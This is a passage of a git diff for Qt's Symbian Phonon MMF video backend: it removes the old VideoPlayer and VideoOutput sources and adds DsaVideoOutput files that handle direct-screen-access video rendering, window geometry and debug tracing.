-    // passed to the CVideoPlayerUtility, no video is rendered.
-    const TSize screenSize = m_screenDevice.SizeInPixels();
-    const QRect screenRect(0, 0, screenSize.iWidth, screenSize.iHeight);
-    windowRect = windowRect.intersected(screenRect);
-
-    const QSize windowSize = windowRect.size();
-
-    // Calculate size of smallest rect which contains video frame size
-    // and conforms to aspect ratio
-    switch (m_videoOutput->aspectRatio()) {
-    case Phonon::VideoWidget::AspectRatioAuto:
-        videoRect.setSize(m_videoFrameSize);
-        break;
-
-    case Phonon::VideoWidget::AspectRatioWidget:
-        videoRect.setSize(windowSize);
-        break;
-
-    case Phonon::VideoWidget::AspectRatio4_3:
-        videoRect.setSize(scaleToAspect(m_videoFrameSize, 4, 3));
-        break;
-
-    case Phonon::VideoWidget::AspectRatio16_9:
-        videoRect.setSize(scaleToAspect(m_videoFrameSize, 16, 9));
-        break;
-    }
-
-    // Scale to fill the window width
-    const int windowWidth = windowSize.width();
-    const int windowHeight = windowSize.height();
-    const qreal windowScaleFactor = qreal(windowWidth) / videoRect.width();
-    int videoWidth = windowWidth;
-    int videoHeight = videoRect.height() * windowScaleFactor;
-
-    const qreal windowToVideoHeightRatio = qreal(windowHeight) / videoHeight;
-
-    switch(m_videoOutput->scaleMode()) {
-    case Phonon::VideoWidget::ScaleAndCrop:
-        if(videoHeight < windowHeight) {
-            videoWidth *= windowToVideoHeightRatio;
-            videoHeight = windowHeight;
-        }
-        break;
-    case Phonon::VideoWidget::FitInView:
-    default:
-        if(videoHeight > windowHeight) {
-            videoWidth *= windowToVideoHeightRatio;
-            videoHeight = windowHeight;
-        }
-        break;
-    }
-
-    // Calculate scale factors
-    m_scaleWidth = 100.0f * videoWidth / m_videoFrameSize.width();
-    m_scaleHeight = 100.0f * videoHeight / m_videoFrameSize.height();
-
-    m_videoRect = qt_QRect2TRect(windowRect);
-
-    if (state() == LoadingState)
-        m_pendingChanges = true;
-    else {
-        applyVideoWindowChange();
-        m_pendingChanges = false;
-    }
-}
-
-void MMF::VideoPlayer::aspectRatioChanged()
-{
-    TRACE_CONTEXT(VideoPlayer::aspectRatioChanged, EVideoInternal);
-    TRACE_ENTRY("state %d aspectRatio %d", state());
-
-    updateVideoRect();
-
-    TRACE_EXIT_0();
-}
-
-void MMF::VideoPlayer::scaleModeChanged()
-{
-    TRACE_CONTEXT(VideoPlayer::scaleModeChanged, EVideoInternal);
-    TRACE_ENTRY("state %d", state());
-
-    updateVideoRect();
-
-    TRACE_EXIT_0();
-}
-
-#ifndef QT_NO_DEBUG
-
-// The following code is for debugging problems related to video visibility.  It allows
-// the VideoPlayer instance to query the window server in order to determine the
-// DSA drawing region for the video window.
-
-class CDummyAO : public CActive
-{
-public:
-    CDummyAO() : CActive(CActive::EPriorityStandard) { CActiveScheduler::Add(this); }
-    void RunL() { }
-    void DoCancel() { }
-    TRequestStatus& Status() { return iStatus; }
-    void SetActive() { CActive::SetActive(); }
-};
-
-void getDsaRegion(RWsSession &session, const RWindowBase &window)
-{
-    RDirectScreenAccess dsa(session);
-    TInt err = dsa.Construct();
-    CDummyAO ao;
-    RRegion* region;
-    err = dsa.Request(region, ao.Status(), window);
-    ao.SetActive();
-    dsa.Close();
-    ao.Cancel();
-    if (region) {
-        qDebug() << "Phonon::MMF::getDsaRegion count" << region->Count();
-        for (int i=0; i<region->Count(); ++i) {
-            const TRect& rect = region->RectangleList()[i];
-            qDebug() << "Phonon::MMF::getDsaRegion rect"
-                << rect.iTl.iX << rect.iTl.iY << rect.iBr.iX << rect.iBr.iY;
-        }
-        region->Close();
-    }
-}
-
-#endif // _DEBUG
-
-void MMF::VideoPlayer::applyPendingChanges()
-{
-    if(m_pendingChanges)
-        applyVideoWindowChange();
-
-    m_pendingChanges = false;
-}
-
-void MMF::VideoPlayer::applyVideoWindowChange()
-{
-    TRACE_CONTEXT(VideoPlayer::applyVideoWindowChange, EVideoInternal);
-    TRACE_ENTRY_0();
-
-#ifndef QT_NO_DEBUG
-    getDsaRegion(m_wsSession, *m_window);
-#endif
-
-    static const TBool antialias = ETrue;
-
-    TRAPD(err, m_player->SetScaleFactorL(m_scaleWidth, m_scaleHeight, antialias));
-    if(KErrNone != err) {
-        TRACE("SetScaleFactorL (1) err %d", err);
-        setError(tr("Video display error"), err);
-    }
-
-    if(KErrNone == err) {
-        TRAP(err,
-            m_player->SetDisplayWindowL
-                (
-                    m_wsSession, m_screenDevice,
-                    *m_window,
-                    m_videoRect, m_videoRect
-                )
-            );
-
-        if (KErrNone != err) {
-            TRACE("SetDisplayWindowL err %d", err);
-            setError(tr("Video display error"), err);
-        } else {
-            m_dsaActive = true;
-            TRAP(err, m_player->SetScaleFactorL(m_scaleWidth, m_scaleHeight, antialias));
-            if(KErrNone != err) {
-                TRACE("SetScaleFactorL (2) err %d", err);
-                setError(tr("Video display error"), err);
-            }
-        }
-    }
-
-    TRACE_EXIT_0();
-}
-
-
-//-----------------------------------------------------------------------------
-// Metadata
-//-----------------------------------------------------------------------------
-
-int MMF::VideoPlayer::numberOfMetaDataEntries() const
-{
-    int numberOfEntries = 0;
-    TRAP_IGNORE(numberOfEntries = m_player->NumberOfMetaDataEntriesL());
-    return numberOfEntries;
-}
-
-QPair<QString, QString> MMF::VideoPlayer::metaDataEntry(int index) const
-{
-    CMMFMetaDataEntry *entry = 0;
-    QT_TRAP_THROWING(entry = m_player->MetaDataEntryL(index));
-    return QPair<QString, QString>(qt_TDesC2QString(entry->Name()), qt_TDesC2QString(entry->Value()));
-}
-
-QT_END_NAMESPACE
-
diff --git a/src/3rdparty/phonon/mmf/mmf_videoplayer.h b/src/3rdparty/phonon/mmf/mmf_videoplayer.h
deleted file mode 100644
index 0253ab9..0000000
--- a/src/3rdparty/phonon/mmf/mmf_videoplayer.h
+++ /dev/null
@@ -1,138 +0,0 @@
-/*  This file is part of the KDE project.
-
-Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
-
-This library is free software: you can redistribute it and/or modify
-it under the terms of the GNU Lesser General Public License as published by
-the Free Software Foundation, either version 2.1 or 3 of the License.
-
-This library is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Lesser General Public License for more details.
-
-You should have received a copy of the GNU Lesser General Public License
-along with this library.  If not, see <http://www.gnu.org/licenses/>.
-
-*/
-
-#ifndef PHONON_MMF_VIDEOPLAYER_H
-#define PHONON_MMF_VIDEOPLAYER_H
-
-#include <videoplayer.h> // from epoc32/include
-
-#include "abstractmediaplayer.h"
-#include "videooutput.h"
-
-QT_BEGIN_NAMESPACE
-
-namespace Phonon
-{
-namespace MMF
-{
-/**
- * @short Wrapper over MMF video client utility
- *
- * See
- * <a href="http://wiki.forum.nokia.com/index.php/How_to_play_a_video_file_using_CVideoPlayerUtility">How to
- * play a video file using CVideoPlayerUtility</a>
- */
-class VideoPlayer : public AbstractMediaPlayer
-                  , public MVideoPlayerUtilityObserver
-                  , public MVideoLoadingObserver
-{
-    Q_OBJECT
-
-public:
-    VideoPlayer(MediaObject *parent = 0, const AbstractPlayer *player = 0);
-    virtual ~VideoPlayer();
-
-    typedef CVideoPlayerUtility NativePlayer;
-    NativePlayer *nativePlayer() const;
-
-    // AbstractPlayer
-    virtual void doPlay();
-    virtual void doPause();
-    virtual void doStop();
-    virtual void doSeek(qint64 milliseconds);
-    virtual int setDeviceVolume(int mmfVolume);
-    virtual int openFile(RFile& file);
-    virtual int openUrl(const QString& url);
-    virtual int bufferStatus() const;
-    virtual void close();
-
-    // MediaObjectInterface
-    virtual bool hasVideo() const;
-    virtual qint64 currentTime() const;
-    virtual qint64 totalTime() const;
-
-    // AbstractPlayer
-    virtual void videoOutputChanged();
-
-    // AbstractMediaPlayer
-    virtual int numberOfMetaDataEntries() const;
-    virtual QPair<QString, QString> metaDataEntry(int index) const;
-
-public Q_SLOTS:
-    void videoWindowChanged();
-    void aspectRatioChanged();
-    void scaleModeChanged();
-    void suspendDirectScreenAccess();
-    void resumeDirectScreenAccess();
-
-private:
-    void construct();
-
-    void doPrepareCompleteL(TInt aError);
-
-    void getVideoWindow();
-    void initVideoOutput();
-    void updateVideoRect();
-
-    void applyPendingChanges();
-    void applyVideoWindowChange();
-
-    void startDirectScreenAccess();
-    bool stopDirectScreenAccess();
-
-private:
-    // MVideoPlayerUtilityObserver
-    virtual void MvpuoOpenComplete(TInt aError);
-    virtual void MvpuoPrepareComplete(TInt aError);
-    virtual void MvpuoFrameReady(CFbsBitmap &aFrame, TInt aError);
-    virtual void MvpuoPlayComplete(TInt aError);
-    virtual void MvpuoEvent(const TMMFEvent &aEvent);
-
-    // MVideoLoadingObserver
-    virtual void MvloLoadingStarted();
-    virtual void MvloLoadingComplete();
-
-private:
-    QScopedPointer<NativePlayer>        m_player;
-
-    // Not owned
-    RWsSession&                         m_wsSession;
-    CWsScreenDevice&                    m_screenDevice;
-    RWindowBase*                        m_window;
-
-    /* Extent of the video display - will be clipped to m_windowRect */
-    TRect                               m_videoRect;
-
-    TReal32                             m_scaleWidth;
-    TReal32                             m_scaleHeight;
-
-    QSize                               m_videoFrameSize;
-    qint64                              m_totalTime;
-
-    bool                                m_pendingChanges;
-    bool                                m_dsaActive;
-    bool                                m_dsaWasActive;
-
-};
-
-}
-}
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/src/3rdparty/phonon/mmf/videooutput.cpp b/src/3rdparty/phonon/mmf/videooutput.cpp
deleted file mode 100644
index 119dcb1..0000000
--- a/src/3rdparty/phonon/mmf/videooutput.cpp
+++ /dev/null
@@ -1,303 +0,0 @@
-/*  This file is part of the KDE project.
-
-Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
-
-This library is free software: you can redistribute it and/or modify
-it under the terms of the GNU Lesser General Public License as published by
-the Free Software Foundation, either version 2.1 or 3 of the License.
-
-This library is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Lesser General Public License for more details.
-
-You should have received a copy of the GNU Lesser General Public License
-along with this library.  If not, see <http://www.gnu.org/licenses/>.
-
-*/
-
-#include "ancestormovemonitor.h"
-#include "utils.h"
-#include "videooutput.h"
-
-#ifndef QT_NO_DEBUG
-#include "objectdump.h"
-#endif
-
-#include <QPaintEvent>
-#include <QPainter>
-#include <QMoveEvent>
-#include <QResizeEvent>
-
-#include <QtCore/private/qcore_symbian_p.h> // for qt_TRect2QRect
-#include <QtGui/private/qwidget_p.h> // to access QWExtra
-
-#include <coecntrl.h>
-
-#include <coemain.h>    // for CCoeEnv
-
-QT_BEGIN_NAMESPACE
-
-using namespace Phonon;
-using namespace Phonon::MMF;
-
-/*! \class MMF::VideoOutput
-  \internal
-*/
-
-//-----------------------------------------------------------------------------
-// Constants
-//-----------------------------------------------------------------------------
-
-static const Phonon::VideoWidget::AspectRatio DefaultAspectRatio =
-    Phonon::VideoWidget::AspectRatioAuto;
-static const Phonon::VideoWidget::ScaleMode DefaultScaleMode =
-    Phonon::VideoWidget::FitInView;
-
-
-//-----------------------------------------------------------------------------
-// Constructor / destructor
-//-----------------------------------------------------------------------------
-
-MMF::VideoOutput::VideoOutput
-    (AncestorMoveMonitor* ancestorMoveMonitor, QWidget* parent)
-        :   QWidget(parent)
-        ,   m_ancestorMoveMonitor(ancestorMoveMonitor)
-        ,   m_aspectRatio(DefaultAspectRatio)
-        ,   m_scaleMode(DefaultScaleMode)
-{
-    TRACE_CONTEXT(VideoOutput::VideoOutput, EVideoInternal);
-    TRACE_ENTRY("parent 0x%08x", parent);
-
-    setPalette(QPalette(Qt::black));
-    setAttribute(Qt::WA_OpaquePaintEvent, true);
-    setAttribute(Qt::WA_NoSystemBackground, true);
-    setAutoFillBackground(false);
-
-    qt_widget_private(this)->extraData()->nativePaintMode = QWExtra::ZeroFill;
-    qt_widget_private(this)->extraData()->receiveNativePaintEvents = true;
-
-    getVideoWindowRect();
-    registerForAncestorMoved();
-
-    dump();
-
-    TRACE_EXIT_0();
-}
-
-MMF::VideoOutput::~VideoOutput()
-{
-    TRACE_CONTEXT(VideoOutput::~VideoOutput, EVideoInternal);
-    TRACE_ENTRY_0();
-
-    m_ancestorMoveMonitor->unRegisterTarget(this);
-
-    TRACE_EXIT_0();
-}
-
-void MMF::VideoOutput::setVideoSize(const QSize& frameSize)
-{
-    TRACE_CONTEXT(VideoOutput::setVideoSize, EVideoInternal);
-    TRACE("oldSize %d %d newSize %d %d",
-          m_videoFrameSize.width(), m_videoFrameSize.height(),
-          frameSize.width(), frameSize.height());
-
-    if (frameSize != m_videoFrameSize) {
-        m_videoFrameSize = frameSize;
-        updateGeometry();
-    }
-}
-
-void MMF::VideoOutput::ancestorMoved()
-{
-    TRACE_CONTEXT(VideoOutput::ancestorMoved, EVideoInternal);
-    TRACE_ENTRY_0();
-
-    RWindowBase *const window = videoWindow();
-
-    if(window) {
-        const TPoint newWindowPosSymbian = window->AbsPosition();
-        const QPoint newWindowPos(newWindowPosSymbian.iX, newWindowPosSymbian.iY);
-
-        if(newWindowPos != m_videoWindowRect.topLeft()) {
-            m_videoWindowRect.moveTo(newWindowPos);
-            emit videoWindowChanged();
-        }
-    }
-
-    TRACE_EXIT_0();
-}
-
-//-----------------------------------------------------------------------------
-// QWidget
-//-----------------------------------------------------------------------------
-
-QSize MMF::VideoOutput::sizeHint() const
-{
-    // TODO: replace this with a more sensible default
-    QSize result(320, 240);
-
-    if (!m_videoFrameSize.isNull())
-        result = m_videoFrameSize;
-
-    return result;
-}
-
-void MMF::VideoOutput::paintEvent(QPaintEvent* event)
-{
-    TRACE_CONTEXT(VideoOutput::paintEvent, EVideoInternal);
-    TRACE("rect %d %d - %d %d",
-          event->rect().left(), event->rect().top(),
-          event->rect().right(), event->rect().bottom());
-    TRACE("regions %d", event->region().rectCount());
-    TRACE("type %d", event->type());
-
-    // Do nothing
-}
-
-void MMF::VideoOutput::resizeEvent(QResizeEvent* event)
-{
-    TRACE_CONTEXT(VideoOutput::resizeEvent, EVideoInternal);
-    TRACE("%d %d -> %d %d",
-          event->oldSize().width(), event->oldSize().height(),
-          event->size().width(), event->size().height());
-
-    if(event->size() != event->oldSize()) {
-        m_videoWindowRect.setSize(event->size());
-        emit videoWindowChanged();
-    }
-}
-
-void MMF::VideoOutput::moveEvent(QMoveEvent* event)
-{
-    TRACE_CONTEXT(VideoOutput::moveEvent, EVideoInternal);
-    TRACE("%d %d -> %d %d",
-          event->oldPos().x(), event->oldPos().y(),
-          event->pos().x(), event->pos().y());
-
-    if(event->pos() != event->oldPos()) {
-        m_videoWindowRect.moveTo(event->pos());
-        emit videoWindowChanged();
-    }
-}
-
-bool MMF::VideoOutput::event(QEvent* event)
-{
-    TRACE_CONTEXT(VideoOutput::event, EVideoInternal);
-
-    if (event->type() == QEvent::WinIdChange) {
-        TRACE_0("WinIdChange");
-        getVideoWindowRect();
-        emit videoWindowChanged();
-        return true;
-    } else if (event->type() == QEvent::ParentChange) {
-        // Tell ancestor move monitor to update ancestor list for this widget
-        registerForAncestorMoved();
-        return true;
-    } else
-        return QWidget::event(event);
-}
-
-
-//-----------------------------------------------------------------------------
-// Public functions
-//-----------------------------------------------------------------------------
-
-RWindowBase* MMF::VideoOutput::videoWindow()
-{
-    CCoeControl *control = internalWinId();
-    if(!control)
-        control = effectiveWinId();
-
-    RWindowBase *window = 0;
-    if(control)
-        window = control->DrawableWindow();
-
-    return window;
-}
-
-const QRect& MMF::VideoOutput::videoWindowRect() const
-{
-    return m_videoWindowRect;
-}
-
-Phonon::VideoWidget::AspectRatio MMF::VideoOutput::aspectRatio() const
-{
-    return m_aspectRatio;
-}
-
-void MMF::VideoOutput::setAspectRatio
-    (Phonon::VideoWidget::AspectRatio aspectRatio)
-{
-    if(m_aspectRatio != aspectRatio) {
-        m_aspectRatio = aspectRatio;
-        emit aspectRatioChanged();
-    }
-}
-
-Phonon::VideoWidget::ScaleMode MMF::VideoOutput::scaleMode() const
-{
-    return m_scaleMode;
-}
-
-void MMF::VideoOutput::setScaleMode
-    (Phonon::VideoWidget::ScaleMode scaleMode)
-{
-    if(m_scaleMode != scaleMode) {
-        m_scaleMode = scaleMode;
-        emit scaleModeChanged();
-    }
-}
-
-
-//-----------------------------------------------------------------------------
-// Private functions
-//-----------------------------------------------------------------------------
-
-void MMF::VideoOutput::getVideoWindowRect()
-{
-    RWindowBase *const window = videoWindow();
-    if(window)
-        m_videoWindowRect =
-            qt_TRect2QRect(TRect(window->AbsPosition(), window->Size()));
-}
-
-void MMF::VideoOutput::registerForAncestorMoved()
-{
-    m_ancestorMoveMonitor->registerTarget(this);
-}
-
-void MMF::VideoOutput::dump() const
-{
-#ifndef QT_NO_DEBUG
-    TRACE_CONTEXT(VideoOutput::dump, EVideoInternal);
-
-    QScopedPointer<ObjectDump::QVisitor> visitor(new ObjectDump::QVisitor);
-    visitor->setPrefix("Phonon::MMF"); // to aid searchability of logs
-    ObjectDump::addDefaultAnnotators(*visitor);
-    TRACE("Dumping tree from leaf 0x%08x:", this);
-    ObjectDump::dumpTreeFromLeaf(*this, *visitor);
-
-    QScopedPointer<ObjectDump::QDumper> dumper(new ObjectDump::QDumper);
-    dumper->setPrefix("Phonon::MMF"); // to aid searchability of logs
-    ObjectDump::addDefaultAnnotators(*dumper);
-    TRACE_0("Dumping VideoOutput:");
-    dumper->dumpObject(*this);
-#endif
-}
-
-void MMF::VideoOutput::beginNativePaintEvent(const QRect& /*controlRect*/)
-{
-    emit beginVideoWindowNativePaint();
-}
-
-void MMF::VideoOutput::endNativePaintEvent(const QRect& /*controlRect*/)
-{
-    // Ensure that draw ops are executed into the WSERV output framebuffer
-    CCoeEnv::Static()->WsSession().Flush();
-
-    emit endVideoWindowNativePaint();
-}
-
-QT_END_NAMESPACE
-
diff --git a/src/3rdparty/phonon/mmf/videooutput.h b/src/3rdparty/phonon/mmf/videooutput.h
deleted file mode 100644
index 3e9c036..0000000
--- a/src/3rdparty/phonon/mmf/videooutput.h
+++ /dev/null
@@ -1,105 +0,0 @@
-/*  This file is part of the KDE project.
-
-Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
-
-This library is free software: you can redistribute it and/or modify
-it under the terms of the GNU Lesser General Public License as published by
-the Free Software Foundation, either version 2.1 or 3 of the License.
-
-This library is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Lesser General Public License for more details.
-
-You should have received a copy of the GNU Lesser General Public License
-along with this library.  If not, see <http://www.gnu.org/licenses/>.
-
-*/
-
-#ifndef PHONON_MMF_VIDEOOUTPUT_H
-#define PHONON_MMF_VIDEOOUTPUT_H
-
-#include <QtGui/QWidget>
-#include <QVector>
-#include <QRect>
-#include "defs.h"
-
-#include <phonon/videowidget.h>
-
-#include <e32std.h>
-class RWindowBase;
-
-QT_BEGIN_NAMESPACE
-
-namespace Phonon
-{
-namespace MMF
-{
-class AncestorMoveMonitor;
-
-class VideoOutput       :   public QWidget
-{
-    Q_OBJECT
-
-public:
-    VideoOutput(AncestorMoveMonitor* ancestorMoveMonitor, QWidget* parent);
-    ~VideoOutput();
-
-    // Set size of video frame.  Called by VideoPlayer.
-    void setVideoSize(const QSize& size);
-
-    RWindowBase* videoWindow();
-    const QRect& videoWindowRect() const;
-
-    Phonon::VideoWidget::AspectRatio aspectRatio() const;
-    void setAspectRatio(Phonon::VideoWidget::AspectRatio aspectRatio);
-
-    Phonon::VideoWidget::ScaleMode scaleMode() const;
-    void setScaleMode(Phonon::VideoWidget::ScaleMode scaleMode);
-
-    // Called by AncestorMoveMonitor
-    void ancestorMoved();
-
-    // Debugging output
-    void dump() const;
-
-public Q_SLOTS:
-    void beginNativePaintEvent(const QRect& /*controlRect*/);
-    void endNativePaintEvent(const QRect& /*controlRect*/);
-
-Q_SIGNALS:
-    void videoWindowChanged();
-    void aspectRatioChanged();
-    void scaleModeChanged();
-    void beginVideoWindowNativePaint();
-    void endVideoWindowNativePaint();
-
-protected:
-    // Override QWidget functions
-    QSize sizeHint() const;
-    void paintEvent(QPaintEvent* event);
-    void resizeEvent(QResizeEvent* event);
-    void moveEvent(QMoveEvent* event);
-    bool event(QEvent* event);
-
-private:
-    void getVideoWindowRect();
-    void registerForAncestorMoved();
-
-private:
-    // Not owned
-    AncestorMoveMonitor*    m_ancestorMoveMonitor;
-
-    QSize                   m_videoFrameSize;
-    QRect                   m_videoWindowRect;
-
-    Phonon::VideoWidget::AspectRatio        m_aspectRatio;
-    Phonon::VideoWidget::ScaleMode          m_scaleMode;
-
-};
-}
-}
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/src/3rdparty/phonon/mmf/videooutput_dsa.cpp b/src/3rdparty/phonon/mmf/videooutput_dsa.cpp
new file mode 100644
index 0000000..4f9ad7f
--- /dev/null
+++ b/src/3rdparty/phonon/mmf/videooutput_dsa.cpp
@@ -0,0 +1,183 @@
+/*  This file is part of the KDE project.
+
+Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+
+This library is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 2.1 or 3 of the License.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#include <QtCore/private/qcore_symbian_p.h> // for qt_TRect2QRect
+#include <QtGui/private/qwidget_p.h> // to access QWExtra
+#include <QResizeEvent>
+#include <QMoveEvent>
+
+#include <coemain.h> // for CCoeEnv
+
+#include "ancestormovemonitor.h"
+#include "utils.h"
+#include "videooutput_dsa.h"
+
+QT_BEGIN_NAMESPACE
+
+using namespace Phonon;
+using namespace Phonon::MMF;
+
+DsaVideoOutput::DsaVideoOutput(QWidget *parent)
+    :   AbstractVideoOutput(parent)
+    ,   m_ancestorMoveMonitor(0)
+{
+    TRACE_CONTEXT(DsaVideoOutput::DsaVideoOutput, EVideoInternal);
+    TRACE_ENTRY("parent 0x%08x", parent);
+
+    setPalette(QPalette(Qt::black));
+    setAttribute(Qt::WA_OpaquePaintEvent, true);
+    setAttribute(Qt::WA_NoSystemBackground, true);
+    setAutoFillBackground(false);
+
+    qt_widget_private(this)->extraData()->nativePaintMode = QWExtra::ZeroFill;
+    qt_widget_private(this)->extraData()->receiveNativePaintEvents = true;
+
+    getVideoWindowScreenRect();
+
+    dump();
+
+    TRACE_EXIT_0();
+}
+
+DsaVideoOutput::~DsaVideoOutput()
+{
+    TRACE_CONTEXT(DsaVideoOutput::~DsaVideoOutput, EVideoInternal);
+    TRACE_ENTRY_0();
+
+    m_ancestorMoveMonitor->unRegisterTarget(this);
+
+    TRACE_EXIT_0();
+}
+
+//-----------------------------------------------------------------------------
+// Public functions
+//-----------------------------------------------------------------------------
+
+void MMF::DsaVideoOutput::setAncestorMoveMonitor(AncestorMoveMonitor *monitor)
+{
+    m_ancestorMoveMonitor = monitor;
+    registerForAncestorMoved();
+}
+
+const QRect& MMF::DsaVideoOutput::videoWindowScreenRect() const
+{
+    return m_videoWindowScreenRect;
+}
+
+void MMF::DsaVideoOutput::ancestorMoved()
+{
+    TRACE_CONTEXT(DsaVideoOutput::ancestorMoved, EVideoInternal);
+    TRACE_ENTRY_0();
+
+    RWindowBase *const window = videoWindow();
+
+    if (window) {
+        const TPoint newWindowPosSymbian = window->AbsPosition();
+        const QPoint newWindowPos(newWindowPosSymbian.iX, newWindowPosSymbian.iY);
+
+        if (newWindowPos != m_videoWindowScreenRect.topLeft()) {
+            m_videoWindowScreenRect.moveTo(newWindowPos);
+            emit videoWindowScreenRectChanged();
+        }
+    }
+
+    TRACE_EXIT_0();
+}
+
+void MMF::DsaVideoOutput::beginNativePaintEvent(const QRect & /*controlRect*/)
+{
+    TRACE_CONTEXT(DsaVideoOutput::beginNativePaintEvent, EVideoInternal);
+    TRACE_ENTRY_0();
+
+    emit beginVideoWindowNativePaint();
+}
+
+void MMF::DsaVideoOutput::endNativePaintEvent(const QRect & /*controlRect*/)
+{
+    TRACE_CONTEXT(DsaVideoOutput::endNativePaintEvent, EVideoInternal);
+    TRACE_ENTRY_0();
+
+    // Ensure that draw ops are executed into the WSERV output framebuffer
+    CCoeEnv::Static()->WsSession().Flush();
+
+    emit endVideoWindowNativePaint();
+}
+
+//-----------------------------------------------------------------------------
+// Private functions
+//-----------------------------------------------------------------------------
+
+void MMF::DsaVideoOutput::getVideoWindowScreenRect()
+{
+    RWindowBase *const window = videoWindow();
+    if (window)
+        m_videoWindowScreenRect =
+            qt_TRect2QRect(TRect(window->AbsPosition(), window->Size()));
+}
+
+void MMF::DsaVideoOutput::registerForAncestorMoved()
+{
+    m_ancestorMoveMonitor->registerTarget(this);
+}
+
+void MMF::DsaVideoOutput::resizeEvent(QResizeEvent *event)
+{
+    TRACE_CONTEXT(DsaVideoOutput::resizeEvent, EVideoInternal);
+    TRACE("%d %d -> %d %d",
+          event->oldSize().width(), event->oldSize().height(),
+          event->size().width(), event->size().height());
+
+    if (event->size() != event->oldSize()) {
+        m_videoWindowScreenRect.setSize(event->size());
+        emit videoWindowScreenRectChanged();
+    }
+}
+
+void MMF::DsaVideoOutput::moveEvent(QMoveEvent *event)
+{
+    TRACE_CONTEXT(DsaVideoOutput::moveEvent, EVideoInternal);
+    TRACE("%d %d -> %d %d",
+          event->oldPos().x(), event->oldPos().y(),
+          event->pos().x(), event->pos().y());
+
+    if (event->pos() != event->oldPos()) {
+        m_videoWindowScreenRect.moveTo(event->pos());
+        emit videoWindowScreenRectChanged();
+    }
+}
+
+bool MMF::DsaVideoOutput::event(QEvent *event)
+{
+    TRACE_CONTEXT(DsaVideoOutput::event, EVideoInternal);
+
+    if (event->type() == QEvent::WinIdChange) {
+        TRACE_0("WinIdChange");
+        getVideoWindowScreenRect();
+        emit videoWindowChanged();
+        return true;
+    } else if (event->type() == QEvent::ParentChange) {
+        // Tell ancestor move monitor to update ancestor list for this widget
+        registerForAncestorMoved();
+        return true;
+    } else {
+        return QWidget::event(event);
+    }
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/3rdparty/phonon/mmf/videooutput_dsa.h b/src/3rdparty/phonon/mmf/videooutput_dsa.h
new file mode 100644
index 0000000..c37dad8
--- /dev/null
+++ b/src/3rdparty/phonon/mmf/videooutput_dsa.h
@@ -0,0 +1,109 @@
+/*  This file is part of the KDE project.
+
+Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+
+This library is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 2.1 or 3 of the License.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#ifndef PHONON_MMF_VIDEOOUTPUT_DSA_H
+#define PHONON_MMF_VIDEOOUTPUT_DSA_H
+
+#include <QRect>
+
+#include "phonon/mmf/abstractvideooutput.h"
+
+QT_BEGIN_NAMESPACE
+
+class QResizeEvent;
+class QMoveEvent;
+
+namespace Phonon
+{
+namespace MMF
+{
+class AncestorMoveMonitor;
+
+/**
+ * @short Widget on which video is displayed by DSA rendering
+ *
+ * This implementation is used on devices with the legacy graphics
+ * subsystem, which does not support surfaces.  On such devices,
+ * video rendering is done via Direct Screen Access (DSA), whereby
+ * the video decoder writes directly to the framebuffer.  To ensure
+ * that the window server and video decoder do not try to draw to
+ * the same screen region at the same time, the video subsystem
+ * first requests permission to perform DSA.  If the window server
+ * needs to draw to this screen region (for example to display a
+ * message dialog), it first notifies the video subsystem that it
+ * must stop rendering to this region.
+ *
+ * @see SurfaceVideoOutput
+ */
+class DsaVideoOutput
+    :   public AbstractVideoOutput
+{
+    Q_OBJECT
+
+public:
+    DsaVideoOutput(QWidget *parent);
+    ~DsaVideoOutput();
+
+    void setAncestorMoveMonitor(AncestorMoveMonitor *monitor);
+
+    // Get absolute screen rectangle for video window
+    const QRect& videoWindowScreenRect() const;
+
+    // Called by AncestorMoveMonitor
+    void ancestorMoved();
+
+public Q_SLOTS:
+    // Callbacks received from Symbian QtGui implementation, when it
+    // begins / ends blitting the video widget's backing store to the
+    // window server.
+    void beginNativePaintEvent(const QRect & /*controlRect*/);
+    void endNativePaintEvent(const QRect & /*controlRect*/);
+
+Q_SIGNALS:
+    void videoWindowScreenRectChanged();
+
+    // Emitted when the Symbian QtGui implementation begins / ends
+    // blitting the video widget's backing store to the window server.
+    void beginVideoWindowNativePaint();
+    void endVideoWindowNativePaint();
+
+private:
+    void getVideoWindowScreenRect();
+    void registerForAncestorMoved();
+
+    // QWidget
+    void resizeEvent(QResizeEvent *event);
+    void moveEvent(QMoveEvent *event);
+    bool event(QEvent *event);
+
+private:
+    // Not owned
+    AncestorMoveMonitor*    m_ancestorMoveMonitor;
+
+    // Absolute screen rectangle on which video is displayed
+    QRect                   m_videoWindowScreenRect;
+
+};
+
+}
+}
+
+QT_END_NAMESPACE
+
+#endif // !PHONON_MMF_VIDEOOUTPUT_DSA_H
+
diff --git a/src/3rdparty/phonon/mmf/videooutput_surface.cpp b/src/3rdparty/phonon/mmf/videooutput_surface.cpp
new file mode 100644
index 0000000..e9b2d3f
--- /dev/null
